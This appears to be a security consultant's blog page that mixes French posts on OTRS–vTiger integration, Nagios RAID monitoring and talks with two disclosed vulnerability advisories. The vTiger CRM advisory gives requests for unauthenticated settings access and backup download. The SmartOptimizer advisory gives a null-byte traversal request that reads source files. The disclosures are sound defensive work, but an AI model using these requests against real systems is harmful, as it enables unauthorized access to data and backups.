Advisory: MEDS-2011-01 – VTigerCRM Anonymous access to Setting Module

Hi,

Here a old vulnerability submitted to vTiger Team last summer. As the 5.3 release was released some week ago, I can now publish this advisory.

Advisory: MEDS-2011-01 - VTigerCRM Anonymous access to Setting Module
using graph.php
Release Date: 2011-05-08
Author: Francois Harvey, gestion medsecure (francois.harvey at
medsecure dot ca) - http://medsecure.ca
Application: Vtiger CRM 5.2.x, 5.1.x
Severity: High
Risk: High
Vendor Status: notified fixed in 5.3

OVERVIEW

"vtiger CRM is a free, full-featured, 100% Open Source CRM software
ideal for small and medium businesses, with low-cost product support
available to production users that need reliable support."

VULNERABILITY

Some module (Many in Setting, but also Portal) from vtiger CRM don't
verify the user access level and may be called in anonymous mode using
the graph.php script. This vulnerability can be used to view or modify
some configurations setting (organisation name, templates, backup).

EXPLOIT

# Show Organization information

http://x.x.x.x/vtigercrm/graph.php?module=Settings&action=OrganizationConfig&parenttab=Settings

# Launching Backup and get the backup file (if enabled)

1) Start a Backup
POST /vtigercrm/graph.php
server_type=local_backup&module=Settings&action=BackupServerConfig&local_server_mode=&parenttab=Settings&enable_local_backup=on&backupnow=Backup+Now

2) Find the backup name in the output
Backed Up Successfully To File : ./backups/Vtiger-dd May 2011 hh_mm_ss GMT.zip

3) Get the Dumpfile
GET /vtigercrm/backups/Vtiger-dd May 2011 hh_mm_ss GMT.zip

FIX

Upgrade to 5.3.x

AUTHOR
François Harvey - CISM/CISSP/TCSE
Professionnel en sécurité de l'information
Gestion medsecure
medsecure.ca - francoisharvey.ca

Présentation – Audits de sécurité des systèmes d’informations

Durant l’été, j’ai eu l’occasion de faire deux présentations aux étudiants de l’UQTR sur les audits de sécurité des systèmes d’information, l’objectif était de discuter des processus d’audit en situation réelle à travers trois études de cas. Malgré que l’essentiel de la présentation était verbal, j’avais créé une présentation sommaire comme référence. La voici à titre indicatif. Bonne lecture!
Présentation audits de sécurité

Rehausser sa sécurité informatique en 10 étapes

C’est avec plaisir que vous pouvez maintenant consulter mon article « Rehausser sa sécurité informatique en 10 étapes » paru dans la revue Via Bitume du mois de Juin.

Pour une entreprise, il est important de protéger ses données. Malheureusement pour plusieurs entreprises, un incident informatique est nécessaire avant de rehausser leur sécurité. Pourtant, les informations telles que les plans, propriétés intellectuelles, correspondances d’affaires et la comptabilité sont nécessaires au bon fonctionnement de l’entreprise. La sécurité de l’information consiste à garantir la confidentialité, l’intégrité et la disponibilité de ces données. Par où une entreprise doit-elle commencer? Voici dix éléments importants qui vous permettront d’avoir une sécurité à toute épreuve!

(suite…)

Aide mémoire pour la messagerie vocale d’asterisk

Lors de nos déploiements en téléphonie IP, nous offrons à nos clients un aide mémoire concernant l’utilisation de la messagerie vocale. Nous avons décidé de rendre publique une version générale de ce guide en format PDF. Pour l’instant, cet aide-mémoire n’est disponible qu’en français, si certains d’entre-vous sont intéressé par une version anglaise, il nous fera plaisir d’en faire une traduction et de le rendre disponible en ligne.

Modele – Guide Utilisateur Téléphonie IP

Nous espérons que ce guide vous sera utile et n’hésitez pas à me faire part de vos commentaires.

Implication dans XODA

J’ai décidé de me joindre à l’équipe de développement du logiciel libre XODA. C’est un logiciel simple permettant la gestion l’accès à des documents en lignes. La version 0.3.0 devrait sortir sous peu, plusieurs options additionnels est une sécurité accrue.

Intégration OTRS et VtigerCRM

OTRS est le helpdesk que nous utilisons chez Gestion medsécure, il est libre, très personnalisable. Il permet notamment d’avoir plusieurs sources de données de contact et comme l’essentiel de nos contacts se retrouvent dans vtiger CRM, comme il existe peu d’information sur l’intégration entre les deux solutions, j’ai décidé de faire quelques billets sur l’intégration entre les deux produits.

Donc, voici le premier: Comment utiliser les informations contacts de vtiger dans OTRS (Cette solution fonctionne sans vue, par contre l’informations n’est pas complète, une vue doit être créer pour avoir l’ensemble des informations clients, mais ça fera l’objet d’un billet futur). Cette déclaration de CustomerUser doit se retrouver dans votre configuration OTRS et les variables DB_VTIGER, SERVEUR_VTIGER, VTIGER_USER_RO et VTIGER_PASSWD_RO doivent être adaptés en fonction de votre environnement.

    $Self->{CustomerUser} = {
        Name   => 'VTiger CRM',
        Module => 'Kernel::System::CustomerUser::DB',
        Params => {
            DSN => 'DBI:mysql:database=DB_VTIGER;host=SERVEUR_VTIGER',
            User => 'VTIGER_USER_RO',
            Password => 'VTIGER_PASSWD_RO',
            Table => 'vtiger_contactdetails',
            CaseSensitive => 0,
        },

        CustomerKey => 'email',

        CustomerID             => 'accountid',
        CustomerUserListFields => [ 'firstname', 'lastname', 'email' ],

        CustomerUserSearchFields           => [ 'firstname', 'lastname', 'email'],
        CustomerUserSearchPrefix           => '*',
        CustomerUserSearchSuffix           => '*',
        CustomerUserSearchListLimit        => 250,
        CustomerUserPostMasterSearchFields => ['email'],
        CustomerUserNameFields     => [ 'title', 'firstname', 'lastname' ],
        CustomerUserEmailUniqCheck => 1,

        CustomerUserExcludePrimaryCustomerID => 0,
        CustomerCompanySupport => 1,
        ReadOnly => 1,
        Map => [
        Map => [
            [ 'UserTitle',      'Title',      'title',      1, 0, 'var', '', 0 ],
            [ 'UserFirstname',  'Firstname',  'firstname', 1, 1, 'var', '', 0 ],
            [ 'UserLastname',   'Lastname',   'lastname',  1, 1, 'var', '', 0 ],
            [ 'UserLogin',      'Username',   'email',      1, 1, 'var', '', 0 ],
            [ 'UserEmail',      'Email', 'email',           1, 1, 'var', '$Env{"CGIHandle"}?Action=AgentTicketCompose&ResponseID=1&TicketID=$Data{"TicketID"}&ArticleID=$Data{"ArticleID"}', 0 ],
            [ 'UserCustomerID', 'CustomerID', 'accountid', 0, 1, 'var', '', 0 ],
           [ 'UserCompanyID',  'CompanyID',  'accountid',  0, 1, 'var', '', 0 ],
            [ 'UserPhone',        'Phone',       'phone',        1, 0, 'var', '', 0 ],
            [ 'UserFax',          'Fax',         'fax',          1, 0, 'var', '', 0 ],
            [ 'UserMobile',       'Mobile',      'mobile',       1, 0, 'var', '', 0 ],
        ],
        },
    };

Maintenant les informations de vtiger devrait s’afficher dans les champs clients lors de la réception d’une nouvelle demande.

Bonne année 2011

J’en profite pour souhaiter à tous une bonne année 2011 !

Proposition de conférence pour Confoo 2011

À la suite de ma conférence de l’année dernière pour confoo, j’ai décidé de remettre l’expérience et de proposer une conférence pour l’édition 2011. Cette année j’ai soumis une proposition en lien avec la santé 2.0, la sécurité et les logiciels libres…

[MEDS-2010-5] Injection de NULL dans SmartOptimizer

Voici un avis de sécurité pour SmartOptimizer 1.7 et précédente. Une vulnérabilité permet des accès à des types de fichiers non autorisées (exemple code source des applications) en utilisant un null byte (%00) pour contourner la vérification des extensions valides. L’exploitation est très simple :

smartoptimizer/index.php?../index.php%00.js

Le développeur de ce logiciel à intégré un correctif, ainsi la version 1.8 corrige cette vulnérabilité et est disponible à l’adresse suivante : http://farhadi.ir/works/smartoptimizer

Comment surveiller un contrôleur raid HP sous ESXi

Pour reprendre une citation de Samul Smiles, mon approche en monitoring peut se résumer par « Un check pour chaque chose et toutes choses checkées« , et ce surtout s’il s’agit d’un contrôleur raid sur un serveur ESXi.  Le script original check_esx_wbem.py publié par David Legeret, ne permettait pas d’identifier les erreurs sur le contrôleur raid sur les serveur HP, ainsi j’ai adapté le script original pour en faire un qui surveille spécifiquement le contrôleur raid en utilisant le support WBEM d’HP sous ESXi.

Output :

WARNING : Logical Volume 0 (RAID 5) - Logical Disk is degraded

Le script est disponible à l’adresse suivante : check_esxi_hpraid_wbem.py

define command{
 command_name check_esxi_hpraid
 command_line $USER1$/check_esxi_hpraid_wbem.py https://$HOSTADDRESS$:5989 USER PASSWORD
}

Conseil sécurité : Toujours utiliser un utilisateur dédié au monitoring… pas root ! et utilisez les variables $USER$ de nagios pour enregistrer le mot de passe (pour ainsi le masquer de l’interface Web)

Haut de page